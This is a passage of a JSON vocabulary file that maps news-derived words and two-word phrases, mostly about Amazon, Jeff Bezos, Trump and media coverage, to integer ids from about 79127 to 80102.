compute\": 79127,\n  \"grinding\": 79128,\n  \"accidental empires\": 79129,\n  \"daredevil marvel\": 79130,\n  \"\\u0142122 5billion\": 79131,\n  \"bezos extortion\": 79132,\n  \"loosened\": 79133,\n  \"cutting salaries\": 79134,\n  \"actually viral\": 79135,\n  \"fertile\": 79136,\n  \"unacceptable failing\": 79137,\n  \"282 times\": 79138,\n  \"inmed\": 79139,\n  \"evolution profiling\": 79140,\n  \"state won\": 79141,\n  \"gaetz fl\": 79142,\n  \"story preparations\": 79143,\n  \"york including\": 79144,\n  \"khashoggi assassination\": 79145,\n  \"play trumped\": 79146,\n  \"soga\": 79147,\n  \"service develop\": 79148,\n  \"months driven\": 79149,\n  \"implored bezos\": 79150,\n  \"don personally\": 79151,\n  \"nondominant position\": 79152,\n  \"capitalizing\": 79153,\n  \"outlet regnery\": 79154,\n  \"dillard wikipedia\": 79155,\n  \"yeah maybe\": 79156,\n  \"important fundraising\": 79157,\n  \"touted new\": 79158,\n  \"dorsey defend\": 79159,\n  \"munster indicts\": 79160,\n  \"marketplaces\": 79161,\n  \"2016 rekognition\": 79162,\n  \"media graham\": 79163,\n  \"whippits whippets\": 79164,\n  \"sector watch\": 79165,\n  \"zoning\": 79166,\n  \"bezos companies\": 79167,\n  \"say starbucks\": 79168,\n  \"pox vaccine\": 79169,\n  \"unhealthily obsessed\": 79170,\n  \"event amazon\": 79171,\n  \"becker asked\": 79172,\n  \"father charming\": 79173,\n  \"chinese pig\": 79174,\n  \"marketwatch vc\": 79175,\n  \"allen white\": 79176,\n  \"11s carell\": 79177,\n  \"pratfall\": 79178,\n  \"left outrage\": 79179,\n  \"gilmore hardie\": 79180,\n  \"cues\": 79181,\n  \"experienced retail\": 79182,\n  \"sides think\": 79183,\n  \"original video\": 79184,\n  \"cork\": 79185,\n  \"poses increasingly\": 79186,\n  \"conscious decision\": 79187,\n  \"play audio\": 79188,\n  \"encourage entrepreneursto\": 79189,\n  \"referencing\": 79190,\n  \"faces probe\": 79191,\n  \"fresh grocery\": 79192,\n  \"government goal\": 79193,\n  \"state employee\": 79194,\n  \"festival\": 79195,\n  \"nation treaty\": 79196,\n  \"va teenager\": 79197,\n  \"phoned fox\": 79198,\n  \"unexpected menace\": 79199,\n  \"pipeline new\": 79200,\n  \"new calculus\": 79201,\n  \"misused eu\": 79202,\n  \"repatriating firms\": 79203,\n  \"centers living\": 79204,\n  \"test vehicles\": 79205,\n  \"sympathy despite\": 79206,\n  \"specialty\": 79207,\n  \"2018 near\": 79208,\n  \"retiree health\": 79209,\n  \"revivei5 shutdowns\": 79210,\n  \"headquarters decision\": 79211,\n  \"prime air\": 79212,\n  \"street crippled\": 79213,\n  \"lindsay koshgarian\": 79214,\n  \"amazon great\": 79215,\n  \"teaming\": 79216,\n  \"2005 dollars\": 79217,\n  \"newspaper washington\": 79218,\n  \"currently relies\": 79219,\n  \"bout\": 79220,\n  \"president reinforced\": 79221,\n  \"recognition scans\": 79222,\n  \"tool amazon\": 79223,\n  \"joint research\": 79224,\n  \"real test\": 79225,\n  \"utpol\": 79226,\n  \"urging swift\": 79227,\n  \"spiritually significant\": 79228,\n  \"hardware products\": 79229,\n  \"attacked amazon\": 79230,\n  \"consider dictator\": 79231,\n  \"parent american\": 79232,\n  \"year oscars\": 79233,\n  \"quite limited\": 79234,\n  \"earned just\": 79235,\n  \"consultancy serves\": 79236,\n  \"simons reading\": 79237,\n  \"origin maker\": 79238,\n  \"nature bezos\": 79239,\n  \"distorted\": 79240,\n  \"wmj\": 79241,\n  \"underfunded\": 79242,\n  \"signed presidential\": 79243,\n  \"services segment\": 79244,\n  \"fox foto\": 79245,\n  \"warren wrote\": 79246,\n  \"gassy unicorn\": 79247,\n  \"textual content\": 79248,\n  \"pinned\": 79249,\n  \"wealth away\": 79250,\n  \"seen hashtags\": 79251,\n  \"node\": 79252,\n  \"forese\": 79253,\n  \"enquirer trump\": 79254,\n  \"purchase new\": 79255,\n  \"1541 explored\": 79256,\n  \"users names\": 79257,\n  \"imagehash\": 79258,\n  \"lenz explores\": 79259,\n  \"obvious conflict\": 79260,\n  \"otter\": 79261,\n  \"long relationship\": 79262,\n  \"svc\": 79263,\n  \"opportunities especially\": 79264,\n  \"cheadle tells\": 79265,\n  \"companies needed\": 79266,\n  \"rovers\": 79267,\n  \"approximately 261\": 79268,\n  \"general relaxation\": 79269,\n  \"pentagon needed\": 79270,\n  \"information shows\": 79271,\n  \"democracy survive\": 79272,\n  \"transcribed\": 79273,\n  \"started warren\": 79274,\n  \"home insurance\": 79275,\n  \"bezos multibillion\": 79276,\n  \"2017 investments\": 79277,\n  \"heidi vogt\": 79278,\n  \"personal payout\": 79279,\n  \"frequently taken\": 79280,\n  \"axis management\": 79281,\n  \"street limited\": 79282,\n  \"secular drivers\": 79283,\n  \"lending platform\": 79284,\n  \"special relationship\": 79285,\n  \"different objectives\": 79286,\n  \"really fast\": 79287,\n  \"care products\": 79288,\n  \"bharara\": 79289,\n  \"economic experts\": 79290,\n  \"busy thinking\": 79291,\n  \"pair caption\": 79292,\n  \"construction indigenous\": 79293,\n  \"amberkira\": 79294,\n  \"racial slurs\": 79295,\n  \"virginia sent\": 79296,\n  \"bird bargains\": 79297,\n  \"earn living\": 79298,\n  \"best job\": 79299,\n  \"lopez abrader\": 79300,\n  \"davie responded\": 79301,\n  \"sky blue\": 79302,\n  \"zain witnesses\": 79303,\n  \"just building\": 79304,\n  \"early 2009\": 79305,\n  \"heavier carell\": 79306,\n  \"david eisenbach\": 79307,\n  \"headquarters pix11news\": 79308,\n  \"alberta cnw\": 79309,\n  \"unconventional dialect\": 79310,\n  \"process arbitrary\": 79311,\n  \"bezos notes\": 79312,\n  \"oregon\": 79313,\n  \"allows companies\": 79314,\n  \"media awards\": 79315,\n  \"texit customer\": 79316,\n  \"new mailboxes\": 79317,\n  \"extortion prosecutors\": 79318,\n  \"homo\": 79319,\n  \"tap photo\": 79320,\n  \"investitgator\": 79321,\n  \"incredibly revealing\": 79322,\n  \"conversation turned\": 79323,\n  \"growth value\": 79324,\n  \"taxpayer dime\": 79325,\n  \"coup\": 79326,\n  \"college tara\": 79327,\n  \"deal van\": 79328,\n  \"financial numbers\": 79329,\n  \"ran variety\": 79330,\n  \"new edition\": 79331,\n  \"restitution\": 79332,\n  \"veteran affairs\": 79333,\n  \"dhar partner\": 79334,\n  \"getting married\": 79335,\n  \"talk held\": 79336,\n  \"sanders criticised\": 79337,\n  \"countdown trump\": 79338,\n  \"related possibility\": 79339,\n  \"trump continued\": 79340,\n  \"wealth\": 79341,\n  \"ishness\": 79342,\n  \"basic pattern\": 79343,\n  \"homes\": 79344,\n  \"sequel\": 79345,\n  \"google eliana\": 79346,\n  \"winning lottery\": 79347,\n  \"income virginia\": 79348,\n  \"cash policies\": 79349,\n  \"buying selling\": 79350,\n  \"hamstrung\": 79351,\n  \"world anissa\": 79352,\n  \"editor note\": 79353,\n  \"wanted 5g\": 79354,\n  \"nyc street\": 79355,\n  \"security truth\": 79356,\n  \"turned small\": 79357,\n  \"acn security\": 79358,\n  \"midwesterners work\": 79359,\n  \"sanchez ap\": 79360,\n  \"europe user\": 79361,\n  \"prevention face\": 79362,\n  \"include dealing\": 79363,\n  \"inside amazon\": 79364,\n  \"fortune estimated\": 79365,\n  \"offers companies\": 79366,\n  \"austin washington\": 79367,\n  \"osbourne\": 79368,\n  \"invasive species\": 79369,\n  \"tweeted nbc\": 79370,\n  \"story instead\": 79371,\n  \"taking home\": 79372,\n  \"bank amazon\": 79373,\n  \"service profitability\": 79374,\n  \"start buying\": 79375,\n  \"packages drivers\": 79376,\n  \"result think\": 79377,\n  \"technology called\": 79378,\n  \"challenged china\": 79379,\n  \"ads praising\": 79380,\n  \"john venhuizen\": 79381,\n  \"kennedy trump\": 79382,\n  \"different answers\": 79383,\n  \"discuss school\": 79384,\n  \"island economic\": 79385,\n  \"b2b market\": 79386,\n  \"deutsch joe\": 79387,\n  \"botched story\": 79388,\n  \"sourcephoto\": 79389,\n  \"military information\": 79390,\n  \"raise revenues\": 79391,\n  \"audience guffaws\": 79392,\n  \"speculates location\": 79393,\n  \"salla\": 79394,\n  \"wants big\": 79395,\n  \"funder barry\": 79396,\n  \"extra us3\": 79397,\n  \"photos book\": 79398,\n  \"refill\": 79399,\n  \"conservative friends\": 79400,\n  \"chapter chapter\": 79401,\n  \"s5\": 79402,\n  \"table send\": 79403,\n  \"inherently bad\": 79404,\n  \"mccabe references\": 79405,\n  \"globalised reforms\": 79406,\n  \"119 year\": 79407,\n  \"family loophole\": 79408,\n  \"remarkable blogpost\": 79409,\n  \"snafu strands\": 79410,\n  \"reworked\": 79411,\n  \"face blue\": 79412,\n  \"video potus\": 79413,\n  \"ruralist\": 79414,\n  \"newspaper offered\": 79415,\n  \"stifle americans\": 79416,\n  \"central\": 79417,\n  \"majority leader\": 79418,\n  \"embraced\": 79419,\n  \"announcements yesterday\": 79420,\n  \"paid tax\": 79421,\n  \"metals\": 79422,\n  \"layfield layfield\": 79423,\n  \"url videos\": 79424,\n  \"support positions\": 79425,\n  \"da\": 79426,\n  \"incredible disarray\": 79427,\n  \"lt moose\": 79428,\n  \"won 480\": 79429,\n  \"107 consecutive\": 79430,\n  \"jenner\": 79431,\n  \"regulators ignored\": 79432,\n  \"thanks mac\": 79433,\n  \"retail wholesale\": 79434,\n  \"logic problem\": 79435,\n  \"international civil\": 79436,\n  \"kylie mar\": 79437,\n  \"amazon specifically\": 79438,\n  \"sympathize\": 79439,\n  \"party couriers\": 79440,\n  \"brief men\": 79441,\n  \"introduced similar\": 79442,\n  \"mind paying\": 79443,\n  \"resolved temporarily\": 79444,\n  \"alleged hate\": 79445,\n  \"saying leadership\": 79446,\n  \"california joining\": 79447,\n  \"apple watch\": 79448,\n  \"virginia new\": 79449,\n  \"old russian\": 79450,\n  \"amazon slas\": 79451,\n  \"irvin\": 79452,\n  \"national focus\": 79453,\n  \"seattle growing\": 79454,\n  \"windy conditions\": 79455,\n  \"foods forte\": 79456,\n  \"cronyism having\": 79457,\n  \"jackson read\": 79458,\n  \"big opportunity\": 79459,\n  \"trailing\": 79460,\n  \"book reports\": 79461,\n  \"shutdownand\": 79462,\n  \"purchase decision\": 79463,\n  \"stock check\": 79464,\n  \"essay commentators\": 79465,\n  \"essentially dead\": 79466,\n  \"journal reporting\": 79467,\n  \"greenspan rux\": 79468,\n  \"major flops\": 79469,\n  \"truth really\": 79470,\n  \"lead major\": 79471,\n  \"current wife\": 79472,\n  \"told stone\": 79473,\n  \"seeking critical\": 79474,\n  \"legg mason\": 79475,\n  \"efficient\": 79476,\n  \"reported dubuque\": 79477,\n  \"news reader\": 79478,\n  \"profile twitter\": 79479,\n  \"expedience\": 79480,\n  \"china country\": 79481,\n  \"penetrate\": 79482,\n  \"bezos schmuck\": 79483,\n  \"earlier tweeted\": 79484,\n  \"company expanded\": 79485,\n  \"079\": 79486,\n  \"iterations\": 79487,\n  \"migrant crisis\": 79488,\n  \"dropped corporate\": 79489,\n  \"censorious\": 79490,\n  \"information technology\": 79491,\n  \"affairs instead\": 79492,\n  \"betweenalexandria ocasio\": 79493,\n  \"democrat good\": 79494,\n  \"including google\": 79495,\n  \"firm channels\": 79496,\n  \"checkout expertise\": 79497,\n  \"exiled russian\": 79498,\n  \"house rep\": 79499,\n  \"people trump\": 79500,\n  \"market phase\": 79501,\n  \"say environmentalists\": 79502,\n  \"terms\": 79503,\n  \"getting torn\": 79504,\n  \"used specialist\": 79505,\n  \"heis\": 79506,\n  \"1019644666608803840 don\": 79507,\n  \"640 words\": 79508,\n  \"walk xi\": 79509,\n  \"marblehead\": 79510,\n  \"tough scenes\": 79511,\n  \"animal agony\": 79512,\n  \"historic venue\": 79513,\n  \"queen city\": 79514,\n  \"questions worried\": 79515,\n  \"nauseously\": 79516,\n  \"won fix\": 79517,\n  \"snapes grant\": 79518,\n  \"round american\": 79519,\n  \"trump realize\": 79520,\n  \"mueller released\": 79521,\n  \"proceedings away\": 79522,\n  \"tweets dial\": 79523,\n  \"stay moser\": 79524,\n  \"tense period\": 79525,\n  \"line derived\": 79526,\n  \"best overall\": 79527,\n  \"story beware\": 79528,\n  \"near cleveland\": 79529,\n  \"reporters susanne\": 79530,\n  \"promised vigorous\": 79531,\n  \"news hates\": 79532,\n  \"simply awful\": 79533,\n  \"workers told\": 79534,\n  \"wing hate\": 79535,\n  \"total operating\": 79536,\n  \"carlson bezos\": 79537,\n  \"stock outside\": 79538,\n  \"companies today\": 79539,\n  \"accessions follow\": 79540,\n  \"department follows\": 79541,\n  \"silicon valley\": 79542,\n  \"defense department\": 79543,\n  \"posting messages\": 79544,\n  \"publishers ami\": 79545,\n  \"love new\": 79546,\n  \"know star\": 79547,\n  \"wide spectrum\": 79548,\n  \"organized labor\": 79549,\n  \"2019 internet\": 79550,\n  \"ubhi expressed\": 79551,\n  \"tamara duker\": 79552,\n  \"failings\": 79553,\n  \"southerners\": 79554,\n  \"15th\": 79555,\n  \"add target\": 79556,\n  \"headquarters headed\": 79557,\n  \"destroying trees\": 79558,\n  \"fuel quality\": 79559,\n  \"bohemian rhapsody\": 79560,\n  \"america retail\": 79561,\n  \"richmond dems\": 79562,\n  \"burning spree\": 79563,\n  \"gardner report\": 79564,\n  \"plans new\": 79565,\n  \"letter addressed\": 79566,\n  \"convenient reliable\": 79567,\n  \"191\": 79568,\n  \"don lay\": 79569,\n  \"ground floor\": 79570,\n  \"false videohash\": 79571,\n  \"doss\": 79572,\n  \"huawei executive\": 79573,\n  \"duplass comedian\": 79574,\n  \"risk free\": 79575,\n  \"mnuchin rejection\": 79576,\n  \"kennedy exit\": 79577,\n  \"ground democrats\": 79578,\n  \"juul marketing\": 79579,\n  \"different sam\": 79580,\n  \"media include\": 79581,\n  \"cubs\": 79582,\n  \"eltahir examine\": 79583,\n  \"prestigious awards\": 79584,\n  \"warehouses fulfillment\": 79585,\n  \"looking hikers\": 79586,\n  \"admissions ceiling\": 79587,\n  \"circumvented\": 79588,\n  \"amazon box\": 79589,\n  \"wanted signs\": 79590,\n  \"zinke days\": 79591,\n  \"microsoft things\": 79592,\n  \"rhodes\": 79593,\n  \"coby trump\": 79594,\n  \"story stephanopoulos\": 79595,\n  \"good people\": 79596,\n  \"sent numerous\": 79597,\n  \"strands\": 79598,\n  \"unz review\": 79599,\n  \"week killing\": 79600,\n  \"reveals kim\": 79601,\n  \"profitability story\": 79602,\n  \"higher margin\": 79603,\n  \"incredible want\": 79604,\n  \"senior official\": 79605,\n  \"qanon followers\": 79606,\n  \"development climate\": 79607,\n  \"lauren haynes\": 79608,\n  \"tight spaces\": 79609,\n  \"economicrent\": 79610,\n  \"gmos adams\": 79611,\n  \"obligations committed\": 79612,\n  \"vpc\": 79613,\n  \"evils data\": 79614,\n  \"order online\": 79615,\n  \"brandemonium\": 79616,\n  \"manhattan business\": 79617,\n  \"major volleys\": 79618,\n  \"lilly singh\": 79619,\n  \"does getting\": 79620,\n  \"fashioned envy\": 79621,\n  \"sign new\": 79622,\n  \"article infowars\": 79623,\n  \"amid lingering\": 79624,\n  \"president protectionist\": 79625,\n  \"accused ami\": 79626,\n  \"wannabe dictator\": 79627,\n  \"maintains outperform\": 79628,\n  \"ms dos\": 79629,\n  \"books fact\": 79630,\n  \"amazon breinigsville\": 79631,\n  \"officials debated\": 79632,\n  \"dollars plutocrats\": 79633,\n  \"funder\": 79634,\n  \"rye barcott\": 79635,\n  \"campaign ahead\": 79636,\n  \"face public\": 79637,\n  \"incumbent\": 79638,\n  \"exposs trump\": 79639,\n  \"putting camera\": 79640,\n  \"rate versus\": 79641,\n  \"village visitors\": 79642,\n  \"growth rates\": 79643,\n  \"papers amazon\": 79644,\n  \"second book\": 79645,\n  \"scythes\": 79646,\n  \"insider josh\": 79647,\n  \"intently focused\": 79648,\n  \"headline says\": 79649,\n  \"omens\": 79650,\n  \"covers wide\": 79651,\n  \"331\": 79652,\n  \"economy mike\": 79653,\n  \"work surface\": 79654,\n  \"eab\": 79655,\n  \"require far\": 79656,\n  \"cumbersome environmental\": 79657,\n  \"exploitation meeting\": 79658,\n  \"beacon\": 79659,\n  \"firsts\": 79660,\n  \"realized\": 79661,\n  \"national banks\": 79662,\n  \"anchor alexa\": 79663,\n  \"adsbygoogle window\": 79664,\n  \"new los\": 79665,\n  \"adds bezos\": 79666,\n  \"conventional understanding\": 79667,\n  \"recorded people\": 79668,\n  \"doused\": 79669,\n  \"whoopi accept\": 79670,\n  \"future according\": 79671,\n  \"book tour\": 79672,\n  \"solving problem\": 79673,\n  \"previously cook\": 79674,\n  \"streaming service\": 79675,\n  \"nomiki konst\": 79676,\n  \"mandating increased\": 79677,\n  \"souza copies\": 79678,\n  \"bezos acquired\": 79679,\n  \"dan delong\": 79680,\n  \"launched rocket\": 79681,\n  \"outplayed bydemocrats\": 79682,\n  \"amobi joins\": 79683,\n  \"allow indigenous\": 79684,\n  \"supported tablet\": 79685,\n  \"overwhelmingly optimistic\": 79686,\n  \"email era\": 79687,\n  \"especially considering\": 79688,\n  \"future robert\": 79689,\n  \"john dean\": 79690,\n  \"youtube cartoon\": 79691,\n  \"low subsidised\": 79692,\n  \"fantasyland\": 79693,\n  \"project wing\": 79694,\n  \"technology obviously\": 79695,\n  \"finally catch\": 79696,\n  \"2000 levels\": 79697,\n  \"bit amazon\": 79698,\n  \"potter eat\": 79699,\n  \"haugen\": 79700,\n  \"smell trump\": 79701,\n  \"called google\": 79702,\n  \"new brands\": 79703,\n  \"president acted\": 79704,\n  \"department sued\": 79705,\n  \"closed circle\": 79706,\n  \"turning blind\": 79707,\n  \"kosovo\": 79708,\n  \"trumps legal\": 79709,\n  \"intrinsic\": 79710,\n  \"government citizen\": 79711,\n  \"packages brennan\": 79712,\n  \"global human\": 79713,\n  \"feedname topnews\": 79714,\n  \"kearney\": 79715,\n  \"waves\": 79716,\n  \"unfurl\": 79717,\n  \"panther trailed\": 79718,\n  \"prime preacher\": 79719,\n  \"prepaid debit\": 79720,\n  \"ygdjhk evys1bk0\": 79721,\n  \"news president\": 79722,\n  \"obama presidential\": 79723,\n  \"don apply\": 79724,\n  \"map contact\": 79725,\n  \"bezos couldn\": 79726,\n  \"fed governor\": 79727,\n  \"trooper\": 79728,\n  \"chicken salad\": 79729,\n  \"america pastime\": 79730,\n  \"big trump\": 79731,\n  \"investment mayor\": 79732,\n  \"comparing bezos\": 79733,\n  \"i9e submit\": 79734,\n  \"signals california\": 79735,\n  \"oracle protest\": 79736,\n  \"news emerged\": 79737,\n  \"employers guess\": 79738,\n  \"chinese trademark\": 79739,\n  \"tur amazon\": 79740,\n  \"platforms cbc\": 79741,\n  \"travel 100\": 79742,\n  \"public input\": 79743,\n  \"enthral\": 79744,\n  \"called richardson\": 79745,\n  \"chavez\": 79746,\n  \"county commissioner\": 79747,\n  \"promises valerie\": 79748,\n  \"hanbury president\": 79749,\n  \"involving donald\": 79750,\n  \"pennink ap\": 79751,\n  \"181007060449 snl\": 79752,\n  \"subtraction problem\": 79753,\n  \"archer\": 79754,\n  \"premium analysis\": 79755,\n  \"israeli soldiers\": 79756,\n  \"cash instead\": 79757,\n  \"dillon new\": 79758,\n  \"germany saying\": 79759,\n  \"gregory katz\": 79760,\n  \"condensed consolidated\": 79761,\n  \"mindi\": 79762,\n  \"uk food\": 79763,\n  \"pauly 580\": 79764,\n  \"privacy policies\": 79765,\n  \"brexit talks\": 79766,\n  \"worth staggering\": 79767,\n  \"crushes\": 79768,\n  \"400 books\": 79769,\n  \"virginia photo\": 79770,\n  \"homeless students\": 79771,\n  \"excels\": 79772,\n  \"jobs according\": 79773,\n  \"historical association\": 79774,\n  \"weaponizing thewashington\": 79775,\n  \"commonwealth commits\": 79776,\n  \"displaced\": 79777,\n  \"don talk\": 79778,\n  \"picture saying\": 79779,\n  \"proclaimed trump\": 79780,\n  \"makes glass\": 79781,\n  \"female character\": 79782,\n  \"articles facebook\": 79783,\n  \"author lindsay\": 79784,\n  \"multi\": 79785,\n  \"properly monitor\": 79786,\n  \"linux kernel\": 79787,\n  \"amazon ruthless\": 79788,\n  \"busy stores\": 79789,\n  \"interpreter\": 79790,\n  \"famously\\u0430receiving\": 79791,\n  \"kudos\": 79792,\n  \"ally president\": 79793,\n  \"grilled\": 79794,\n  \"tough problems\": 79795,\n  \"week blood\": 79796,\n  \"icbm\": 79797,\n  \"stocks reits\": 79798,\n  \"sister organizations\": 79799,\n  \"year anniversary\": 79800,\n  \"growth shipping\": 79801,\n  \"horowitz\": 79802,\n  \"longer\": 79803,\n  \"saving deutsche\": 79804,\n  \"educated rich\": 79805,\n  \"dumped contessa\": 79806,\n  \"scientists worry\": 79807,\n  \"malcolm film\": 79808,\n  \"filing represented\": 79809,\n  \"content prime\": 79810,\n  \"ceo mark\": 79811,\n  \"s9x a4ee\": 79812,\n  \"conrad riggs\": 79813,\n  \"tweet hope\": 79814,\n  \"actual trading\": 79815,\n  \"hayek plays\": 79816,\n  \"high castle\": 79817,\n  \"set according\": 79818,\n  \"uk economy\": 79819,\n  \"stock amobi\": 79820,\n  \"screamed\": 79821,\n  \"president boris\": 79822,\n  \"reportedly ran\": 79823,\n  \"edvard\": 79824,\n  \"reelect\": 79825,\n  \"told msnbc\": 79826,\n  \"holding corporate\": 79827,\n  \"separating just\": 79828,\n  \"bailed\": 79829,\n  \"short stylized\": 79830,\n  \"curbing\": 79831,\n  \"nbc affiliates\": 79832,\n  \"kareem bakr\": 79833,\n  \"bezos couple\": 79834,\n  \"rare requirement\": 79835,\n  \"udine member\": 79836,\n  \"game trophies\": 79837,\n  \"oscar nomination\": 79838,\n  \"administration impose\": 79839,\n  \"social crack\": 79840,\n  \"union says\": 79841,\n  \"mines billions\": 79842,\n  \"involved overall\": 79843,\n  \"business journalism\": 79844,\n  \"potential revenue\": 79845,\n  \"cadence\": 79846,\n  \"overall quality\": 79847,\n  \"dalton\": 79848,\n  \"lurid photos\": 79849,\n  \"permanent mary\": 79850,\n  \"spend lot\": 79851,\n  \"instances\": 79852,\n  \"selfie queen\": 79853,\n  \"snared dj\": 79854,\n  \"ice deportations\": 79855,\n  \"policies following\": 79856,\n  \"playmate story\": 79857,\n  \"sandeep\": 79858,\n  \"chair president\": 79859,\n  \"roommate\": 79860,\n  \"function getcurrentvideocardcontents\": 79861,\n  \"bull moose\": 79862,\n  \"leaned\": 79863,\n  \"places voices\": 79864,\n  \"shows bellow\": 79865,\n  \"index cap\": 79866,\n  \"lisa hench\": 79867,\n  \"crafts marketplace\": 79868,\n  \"sour true\": 79869,\n  \"political aisle\": 79870,\n  \"account trump\": 79871,\n  \"lines chevron\": 79872,\n  \"reads looking\": 79873,\n  \"bolsonaro mines\": 79874,\n  \"million debt\": 79875,\n  \"problem flex\": 79876,\n  \"discourage\": 79877,\n  \"kleach6\": 79878,\n  \"possible key\": 79879,\n  \"dokoupil finds\": 79880,\n  \"salman don\": 79881,\n  \"champions talk\": 79882,\n  \"historically leaned\": 79883,\n  \"bartiromo welcome\": 79884,\n  \"protest seattle\": 79885,\n  \"given false\": 79886,\n  \"thegrtrecession\": 79887,\n  \"recently defeated\": 79888,\n  \"mitigated broadly\": 79889,\n  \"digs deep\": 79890,\n  \"news oppo\": 79891,\n  \"justices\": 79892,\n  \"korean woman\": 79893,\n  \"significant lack\": 79894,\n  \"new amazon\": 79895,\n  \"brighter\": 79896,\n  \"scene leads\": 79897,\n  \"streetwear\": 79898,\n  \"old slippers\": 79899,\n  \"public amazon\": 79900,\n  \"vine extensively\": 79901,\n  \"republicans appear\": 79902,\n  \"big topic\": 79903,\n  \"calls project\": 79904,\n  \"congressman assaulting\": 79905,\n  \"sen writes\": 79906,\n  \"inhales\": 79907,\n  \"billionaire instead\": 79908,\n  \"sbirt\": 79909,\n  \"dara lind\": 79910,\n  \"undercutting crop\": 79911,\n  \"jibe\": 79912,\n  \"time enemy\": 79913,\n  \"legislation sanders\": 79914,\n  \"package services\": 79915,\n  \"mousa bin\": 79916,\n  \"gervaiss humanity\": 79917,\n  \"shipping offer\": 79918,\n  \"trumps revolting\": 79919,\n  \"town names\": 79920,\n  \"iot track\": 79921,\n  \"house gov\": 79922,\n  \"preferential tax\": 79923,\n  \"expanded ap\": 79924,\n  \"significant advantage\": 79925,\n  \"years amazon\": 79926,\n  \"thehollywoodgossip\": 79927,\n  \"things department\": 79928,\n  \"quay\": 79929,\n  \"1868 seeks\": 79930,\n  \"dwyer\": 79931,\n  \"holders\": 79932,\n  \"home earlier\": 79933,\n  \"stelter shared\": 79934,\n  \"confluence\": 79935,\n  \"supports military\": 79936,\n  \"thisand\": 79937,\n  \"nimble\": 79938,\n  \"straight losing\": 79939,\n  \"mcdonald kids\": 79940,\n  \"billionaire philanthropist\": 79941,\n  \"2015 floods\": 79942,\n  \"investorplace luke\": 79943,\n  \"manipulate prices\": 79944,\n  \"publishing racy\": 79945,\n  \"shooters sure\": 79946,\n  \"usher\": 79947,\n  \"star peggy\": 79948,\n  \"secretary reportedly\": 79949,\n  \"pardoned vanity\": 79950,\n  \"devotion\": 79951,\n  \"twitter especially\": 79952,\n  \"866\": 79953,\n  \"berman florida\": 79954,\n  \"yardbird\": 79955,\n  \"new glenn\": 79956,\n  \"finite state\": 79957,\n  \"touring\": 79958,\n  \"single payer\": 79959,\n  \"centrist president\": 79960,\n  \"emily birnbaum\": 79961,\n  \"ins\": 79962,\n  \"administration looks\": 79963,\n  \"better approach\": 79964,\n  \"appears unconvinced\": 79965,\n  \"competition armed\": 79966,\n  \"reputation thiel\": 79967,\n  \"gauteng\": 79968,\n  \"today sara\": 79969,\n  \"specifically ami\": 79970,\n  \"finger squarely\": 79971,\n  \"counts kim\": 79972,\n  \"pass 2018\": 79973,\n  \"blocks la\": 79974,\n  \"time reports\": 79975,\n  \"year itep\": 79976,\n  \"moscow yesterday\": 79977,\n  \"wedding ring\": 79978,\n  \"improvement\": 79979,\n  \"digitizing\": 79980,\n  \"people reality\": 79981,\n  \"entrepreneur aims\": 79982,\n  \"involving amazon\": 79983,\n  \"huge return\": 79984,\n  \"baron journalism\": 79985,\n  \"international expertise\": 79986,\n  \"primary elections\": 79987,\n  \"owner filed\": 79988,\n  \"l1313 tr1\": 79989,\n  \"hathaway ceo\": 79990,\n  \"caffeine\": 79991,\n  \"renaissance\": 79992,\n  \"carries mix\": 79993,\n  \"box reads\": 79994,\n  \"commodities production\": 79995,\n  \"pham\": 79996,\n  \"rates gapping\": 79997,\n  \"chance amazon\": 79998,\n  \"sizable\": 79999,\n  \"super pac\": 80000,\n  \"prakash smitaprakash\": 80001,\n  \"won 740m\": 80002,\n  \"salvini\": 80003,\n  \"outsize personality\": 80004,\n  \"proposal president\": 80005,\n  \"concerns eventually\": 80006,\n  \"\\u0142500\": 80007,\n  \"second variant\": 80008,\n  \"heuvelen\": 80009,\n  \"kullgren obtained\": 80010,\n  \"distributors especially\": 80011,\n  \"tcja amazon\": 80012,\n  \"measurements\": 80013,\n  \"friend wedding\": 80014,\n  \"creates gop\": 80015,\n  \"crave\": 80016,\n  \"way manufacturing\": 80017,\n  \"did explain\": 80018,\n  \"wasn pleasant\": 80019,\n  \"man mukesh\": 80020,\n  \"origin approaches\": 80021,\n  \"melissa burdick\": 80022,\n  \"reckless competitive\": 80023,\n  \"consumer abuses\": 80024,\n  \"ashleyrgold\": 80025,\n  \"share tweet\": 80026,\n  \"comics riverdale\": 80027,\n  \"cnbc tyler\": 80028,\n  \"agency best\": 80029,\n  \"established democrats\": 80030,\n  \"lightning cable\": 80031,\n  \"fukunaga\": 80032,\n  \"griffeth coming\": 80033,\n  \"hardworking drivers\": 80034,\n  \"founder sergey\": 80035,\n  \"ami denied\": 80036,\n  \"project having\": 80037,\n  \"quarterly\": 80038,\n  \"paying billion\": 80039,\n  \"criticising\": 80040,\n  \"new nonfiction\": 80041,\n  \"amazonwashingtonpost read\": 80042,\n  \"smartphone online\": 80043,\n  \"snuck\": 80044,\n  \"madrid spain\": 80045,\n  \"nadia shouraboura\": 80046,\n  \"power cable\": 80047,\n  \"undertake view\": 80048,\n  \"oligarchic cronies\": 80049,\n  \"sellers appeared\": 80050,\n  \"alexi\": 80051,\n  \"clarify realme\": 80052,\n  \"jessicabruder\": 80053,\n  \"users tend\": 80054,\n  \"son don\": 80055,\n  \"reportedly ruled\": 80056,\n  \"grow revenue\": 80057,\n  \"live amazon\": 80058,\n  \"available facial\": 80059,\n  \"step away\": 80060,\n  \"honesty strout\": 80061,\n  \"blackmail threats\": 80062,\n  \"food plan\": 80063,\n  \"wasn huge\": 80064,\n  \"eyes\": 80065,\n  \"ford trump\": 80066,\n  \"communism\": 80067,\n  \"phil\": 80068,\n  \"mass media\": 80069,\n  \"isliveplayer isvideoreplayclicked\": 80070,\n  \"self contradictions\": 80071,\n  \"world currently\": 80072,\n  \"company foxconn\": 80073,\n  \"fletcher jokes\": 80074,\n  \"trade putting\": 80075,\n  \"ami struck\": 80076,\n  \"blue\": 80077,\n  \"mcconnell unparalleled\": 80078,\n  \"group today\": 80079,\n  \"comedy series\": 80080,\n  \"sale paul\": 80081,\n  \"breitbart\": 80082,\n  \"function g4\": 80083,\n  \"spotless\": 80084,\n  \"believe deserve\": 80085,\n  \"unconvincingly insisted\": 80086,\n  \"million suit\": 80087,\n  \"began dipping\": 80088,\n  \"prime devilman\": 80089,\n  \"privacy questions\": 80090,\n  \"disney world\": 80091,\n  \"sr cleveland\": 80092,\n  \"toyota aston\": 80093,\n  \"called food\": 80094,\n  \"story determined\": 80095,\n  \"election process\": 80096,\n  \"hours\": 80097,\n  \"simply prepared\": 80098,\n  \"chip maker\": 80099,\n  \"known loophole\": 80100,\n  \"labor netted\": 80101,\n  \"website crashed\": 80102,\n  